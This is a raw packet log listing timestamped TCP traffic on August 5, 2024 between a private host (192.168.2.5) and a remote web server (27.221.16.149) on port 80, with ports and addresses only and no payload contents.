Aug 5, 2024 11:59:25.200897932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200900078 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200917959 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200922966 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200930119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200939894 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200949907 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200959921 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200970888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200970888 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200970888 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.200982094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.200994015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201005936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201006889 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201030016 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201049089 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201250076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201261044 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201271057 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201281071 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201291084 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201298952 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201301098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201313972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201323986 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201351881 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201385021 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201400995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201411963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201421976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201431990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201442957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201447010 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201453924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201464891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201472044 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201478958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201494932 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201527119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201534986 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201545954 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201558113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201567888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201579094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201587915 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.201590061 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201611996 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.201626062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286066055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286081076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286086082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286091089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286096096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286101103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286106110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286109924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286115885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286123037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286128998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286134005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286139965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286144972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286225080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286237001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286247015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286259890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286278963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286289930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286300898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286310911 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286422014 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286422968 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286446095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286458015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286520004 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286530018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286561012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286571026 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286582947 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286593914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286597967 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286622047 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286623955 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286637068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286665916 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286667109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286679983 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286699057 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286832094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286844015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286854029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286885977 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286896944 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286909103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286909103 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.286926031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.286967039 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.287004948 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.287015915 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.287026882 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.287035942 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.287048101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.287051916 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.287082911 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.287106037 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.489665985 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489691019 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489701986 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489712954 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489725113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489736080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489748001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489748001 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.489785910 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.489821911 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489861012 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.489902020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489913940 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489928007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489939928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489948988 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.489950895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489964962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.489978075 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490008116 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490050077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490060091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490070105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490078926 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490089893 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490102053 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490102053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490113020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490113020 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490129948 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490142107 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490147114 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490151882 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490164995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490173101 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490175962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490201950 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490209103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490216970 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490221024 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490231991 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490247965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490253925 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490278959 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490324020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490334034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490344048 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490354061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490365028 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490369081 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490376949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490389109 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490389109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490415096 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490422010 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490432978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490443945 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490463972 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490473986 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490638971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490649939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490658998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490669012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490680933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490686893 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490690947 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490703106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490712881 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490717888 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490725040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490735054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490746021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490747929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490756989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490768909 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490772009 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490780115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490792036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490799904 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490803003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490819931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490820885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490833998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490839005 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490883112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490927935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490940094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490948915 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490958929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490971088 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490972996 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.490983009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490993977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.490993977 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491008997 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491022110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491030931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491034031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491045952 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491049051 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491060972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491071939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491072893 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491084099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491103888 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491117001 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491307974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491318941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491328955 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491339922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491350889 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491350889 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491362095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491373062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491386890 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491390944 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491403103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491410017 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491414070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491425991 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491430044 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491436005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491446018 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491447926 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491460085 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491472006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491476059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491485119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491492033 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491497993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491508961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491519928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491530895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491537094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491543055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491554976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491559029 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491575003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491580009 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491595030 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491771936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491784096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491794109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491803885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491815090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491816998 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491830111 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491832972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491844893 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491854906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491858006 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491867065 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491878986 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491889954 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491897106 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491899967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491919041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.491921902 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491940975 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.491955996 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.576704979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576718092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576730013 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576742887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576752901 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576766968 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.576802969 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576814890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576816082 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.576828003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576850891 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.576865911 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.576868057 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576879025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576888084 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576900959 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576913118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.576921940 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.576934099 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577017069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577028990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577039003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577049971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577060938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577064991 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577073097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577075005 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577105999 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577155113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577167034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577177048 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577187061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577197075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577199936 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577209949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577222109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577225924 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577239990 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577272892 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577743053 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577758074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577769995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577794075 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577836037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577847004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577879906 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.577982903 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.577994108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578008890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578018904 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578030109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578035116 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578042030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578042984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578054905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578066111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578071117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578078985 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578099966 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578118086 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578118086 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578130007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578140020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578150988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578161955 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578162909 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578172922 CEST	80	49734	27.221.16.149	192.168.2.5
